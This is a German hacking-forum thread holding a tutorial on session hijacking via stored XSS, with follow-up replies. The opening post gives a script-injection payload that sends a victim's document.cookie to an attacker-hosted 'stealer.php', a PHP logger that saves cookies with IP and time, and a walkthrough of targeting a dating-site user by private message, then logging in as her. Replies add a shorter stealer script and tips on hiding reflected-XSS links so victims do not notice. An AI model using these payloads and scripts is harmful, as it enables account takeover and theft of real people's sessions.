Jump to content

Willkommen Gast

Navigation

Links

Als Gast hast du nur eingeschränkten Zugriff!


Sign In 

Create Account

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Photo

[Tut] Session Hijacking

- - - - -

  • Please log in to reply
3 replies to this topic

#1
B1nary

B1nary

    Samurai

  • Elite Member
  • Likes
    489
  • 506 posts
  • 346 Bedankt
Moin zusammen,

ich beziehe mich in diesem Tutorial auf Iron's XSS-Tut. Dementsprechend sollten die Basics also bekannt sein...

Was ist Session Hijacking
Wikipedia beschreibt diesen Begriff als "Entführung einer Kommunikationssitzung". Dieses Tutorial dreht sich selbstverständlich um Web-Sitzungen, also Cookies. Loggt sich ein User in seinem Account ein, wird eine Sitzung erstellt. Diese wird mit einer eindeutigen und einmaligen Sitzungs-ID in einem Cookie abgespeichert und authentifiziert den User damit als Inhaber des Accounts. Anders ausgedrückt: würde jemand diesen Sitzungs-Cookie klauen und selbst anwenden, hätte er Zugriff auf den Account des ursprünglichen Users. Er stiehlt damit die Sitzungs-ID und die Accountberechtigung.

Wann funktioniert Session Hijacking nicht
Wenn eine Seite nicht vuln für XSS ist, schaut's schlecht aus. Weiterhin funktioniert Session Hijacking bei Zertifizierungsverfahren nicht mehr, z.B. bei HTTPS mit einem digitalen Zertifikat.

Was wird benötigt?
  • Website mit XSS-Vuln
  • persitenter XSS-Angriff (Eintrag des Schadcodes in ein Gästebuch, Versendung via PN, ...)
  • PHP-Logger auf Anon-Webspace
  • FF Addon Greasemonkey mit dem Userscript "Cookie Injector"
userscripts.org ist momentan down...sollte aber bald wieder verfügbar sein. Nach der Installation von Greasemonkey auf userscripts.org nach "Cookie Injector" suchen und den mit 1 Stern Bewertung auswählen (das ist der Originale). Installieren und fertig. Das Script kann nun mit Alt+C aufgerufen werden

Eingefügtes Bild

Wie man sieht, steht dort "Wireshark Cookie Dump", denn Session Hijacking kann genauso beim Sniffen mit Wireshark betrieben werden. Wir beschränken uns allerdings auf das Stealen mittels einer XSS-Lücke. In die kleine Textbox kann die Sitzungs-ID eingetragen werden und mit Klick auf "OK", wird lokal ein neuer Cookie mit dieser Sitzungs-ID angelegt. Beim Aktualisieren der entsprechenden Seite wird dann der Sitzungs-Cookie erkannt und wir werden als der beklaute User eingeloggt!

XSS Payload
Wie gesagt, sollte der XSS Payload persistent, also dauerhaft, gespeichert werden. Dafür eignet sich besonders gut ein Gästebuch, wo viele Leute (und vor allem auch der Webmaster) drauf gehn. In Netzwerken/Foren/etc mit PN-Funktion kann man so die Sitzung eines speziellen Vics klauen, indem man eine Nachricht mit dem XSS Payload schreibt.

<script>document.write('<img src="stealer.php" alt="Text" />')</script>

Wir nutzen den uralten img-alt-Trick, um die XSS-Lücke auszunutzen. Mit Javascript schreiben wir einen HTML img-Tag und geben als Source unser PHP Stealer-Script an (natürlich auf einem anonymen Webhoster abgelegt, also vollständiger Pfad angeben!). Als Alternativ-Text (alt=) tragen wir unsere entsprechende Nachricht ein.

Dies folgt dazu, dass der HTML-Interpreter die Bildquelle als kein Bild erkennt (ist ja auch ne PHP) und stattdessen den Alternativ-Text ausgibt. Man kann auch mit PHP Bilder dynamisch erstellen, aber so geht's ja auch...
Zuerst solltet ihr testen, ob alt-Texte angezeigt werden. Schreibt besser außerhalb des Payloads noch etwas dazu, z.B.

Hi,
wie geht's dir?
<script>document.write('<img src="stealer.php" alt="LG" />')</script>


dann ist es egal, ob der alt-Text angezeigt wird oder nicht.

Cookie übermitteln
Natürlich müssen wir noch die Sitzungs-ID, also den Cookie, an unsere stealer.php senden.

src="stealer.php?cookie='+document.cookie'+"
komplett:
<script>document.write('<img src="stealer.php?cookie='+document.cookie'+" alt="LG" />')</script>

Wir schreiben also den Cookie mittels dem Javascript-Befehl document.cookie in eine GET-Parameter namens cookie

PHP Stealer-Script
Auf einem Webspace habt ihr euch anonym einen Acc angelegt und dort könnt ihr dann das Stealer-Script hochladen

<?php
$cookie = @$_GET['img'];
if (!empty($cookie)):
$file = 'cookie_'.time().'.txt';
$ip = $_SERVER['REMOTE_ADDR'];
$unix = date('d.m.Y, H:i', time());
$fp = fopen($file, 'a+');
fwrite($fp, $ip."\r\n".$unix."\r\n".$cookie);
fclose($fp);
endif;
?>

Achtung: Verzeichnis NICHT mit einem globalen htaccess-Schutz versehen. Sonst geht das in die Hose...!

So könnte das Script aussehen. Hierbei wird gleich noch IP-Adresse und Zugriffszeit gelogged. Selbstverständlich ist das Ganze ausbaufähig (bsp.weise auch Abspeichern in einer MySQL-Datenbank usw). Aber exemplarisch sollte es genügen!

Schön und gut, aber....was passiert jetzt genau?
Unser Vic hat sich bei ner Partnerbörse (auf der wir eine XSS-Vuln festgestellt haben) eingeloggt. Wir erstellen uns ebenfalls einen Account und treten mit dem Vic in Kontakt, indem wir eine private Nachricht schreiben:

Hi SexyGirl88,
nettes Foto!
<script>document.write('<img src="stealer.php?cookie='+document.cookie'+" alt="LG" />')</script>


SexyGirl88 öffnet die Nachricht und das Javascript wird ausgeführt. Per document.write wird der HTML-Tag geschrieben und auch ausgeführt. Wie oben bereits erläutert, versucht der HTML-Interpreter die Grafik zu laden. Da es sich bei unserem Source-Attribut aber um keine Grafik handelt, wird stattdessen der Alternativ-Text (alt=) ausgegeben. Bei der Anfrage an das Script wird über den GET-Parameter cookie der lokale Sitzungs-Cookie von dem Vic SexyGirl88 übergeben.

Das Stealer-Script liest den Parameter aus und schreibt, wenn er nicht leer ist, den Cookie in eine Textdatei mit Zeitstempel (in o.g. Script wird wie gesagt die IP-Adresse und Uhrzeit auch noch gelogged). Wird können dann auf die erstellte txt zugreifen und uns die Sitzungs-ID rauskopieren. Die könnte z.B. so aussehen:

PHPSESSID=f91b9176735c054e0ff8f7f9ddd6fe11; thwb_cookie=f379eaf3c831b04de153469d1bec345e129671;
ss_user_data=129671&f379eaf3c831b04de153469d1bec345e&1689; bb_lastvisit=1398742989; bb_lastactivity=0;
__utma=50522539.2117846155.1395666907.1400958139.1401032908.120; __utmb=50522539.1.10.1401032908;
__utmc=50522539; __utmz=50522539.1395666907.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Wichtig ist nun, dass wir die entsprechende Seite geöffnet haben! Dort dann mit der Tastenkombination Alt+C den Cookie Injector aufrufen und dort die Sitzungs-ID reinkopieren. "OK" klicken und Seite aktualisieren: fertig!
Wir sind nun als SexyGirl88 eingeloggt :)

Kleiner Hinweis: manchmal funktioniert das nicht immer 100%ig zuverlässig. Das liegt daran, dass die Sitzung abgelaufen ist oder sonst irgendwas. 8/10 hijacked Cookies sollten aber gehen!

Wer das Ganze mal bei sich selbst ausprobieren will, kann die Javascript-Umgebung von Firefox benutzen. Ansonsten unterstützen die meisten Browser die Direkteingaben von Javascript in die Adresszeile

Eingefügtes Bild

Über eine alert-Meldung können wir somit unseren eigenen entsprechenden Sitzungs-Cookie (wenn vorhanden) auslesen.
Wer das Ganze ausprobieren möchte und auf die Schnelle keine Vuln-Page hat, kann hier hin
  • PaulaAbdul, Ch!ller, FalkE and 1 other like this

Thanked by 1 Member:
hikhack7

#2
FalkE

FalkE

    1337

  • Banned
  • PipPipPipPipPipPipPipPipPip
  • Likes
    4
  • 349 posts
  • 79 Bedankt
  • Android [root]
  • Linux
Auch mit einer reflected XSS (non - persistent) kann natürlich ein Session Hijack durchgeführt werden. Den entsprechenden Link einfach via Encryption/Shortener tarnen und anschließend durch das externe PHP / JS Script auf die eigentliche Seite weiterleiten. Ist das ganze durchdacht, merkt das Victim garnicht dass der Cookie "entführt" wurde ;)

#3
B1nary

B1nary

    Samurai

  • Elite Member
  • Likes
    489
  • 506 posts
  • 346 Bedankt
Jo klar, danke für die Klarstellung!
Mit ner persitenten kann man eben automatisiert auf längere Zeit Daten sammeln, selbstverständlich geht's auch mit ner non-persitenten wie FalkE das geschrieben hat :)

#4
hikhack7

hikhack7

    Hacktivist

  • Members
  • PipPipPipPipPip
  • Likes
    58
  • 63 posts
  • 77 Bedankt
Schönes Tutorial :-)

Hier das PHP-Script etwas überarbeitet/kleiner:

<?php
    date_default_timezone_set('Europe/Berlin');
    
    if(isset($_GET['img']) && !empty($_GET['img'])) {
        $content = "IP: ".$_SERVER['REMOTE_ADDR']."rnDatum: ". date('d.m.Y H:i')."rnCookie: ".$_GET['img'];
        file_put_contents('log_'.time().'.txt', $content);
    }

  • Iron likes this

Wissen ist Macht.




  Topic Forum Started By Stats Last Post Info

user(s) are reading this topic

members, guests, anonymous users


This topic has been visited by 112 user(s)


    _wh, .:dodo:., Ac4nth, AFK_D4m4ge, alcapwn, Andi, B1nary, Bad Grandpa, bleiregen22, Botmopp, buffer-overflow, C.I.K, cardanoia, Ch!ller, ChaosZombie, clusterhead, codec4, confick.ini, Cube, CyberFlash, d33d5, Deny-dz, dervonheute, devmonkey, Dope, dorich75, Egalite, ereboss12, FalkE, Framerater, FullMetall, funstyler, Georgiana, Grisu, gutzuu, H0M3R5, hardstyle1983, Heinokel0903, Hekzla, hikhack7, hofnarr, holz96, Ich, igfreak, Iron, iShiZo, Janjij, janni2339, JeanGui, jeff, jerexdlv, Johnbooru, Jozu, Juri, k3rn3l, kingkev0, kvrolek, Lab511, lNobodyl, lolorollo, lorazepam, lowbob, Lykaner112, man, MAW0805, mcfly69, Methyl, MiD_NiGHT, midn84ever, Miyaca, MMllnr, most_uniQue, ms8634, mxtrn, NewHacker, Nissan300zx, nwo, Osed28, pablo28, PaulaAbdul, psy86, Rancher, RedXell, ref0rm, RudolfAntal, sanchill, SAR, sawwerk, schieberj00, Siggisuper, slivanX, Snipp3r, SOCOM, Sp00ky, stealth2x, syntx, Thehidden, Thesolution247, tinarchin, Toskom4n, Touch_Freak, Unkiii, verzweifelt, wbx32, weltraum542, White-Warti, x.jh7b, xCrasherr, Xenio, XYtarget, Zecnation, zepsus
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.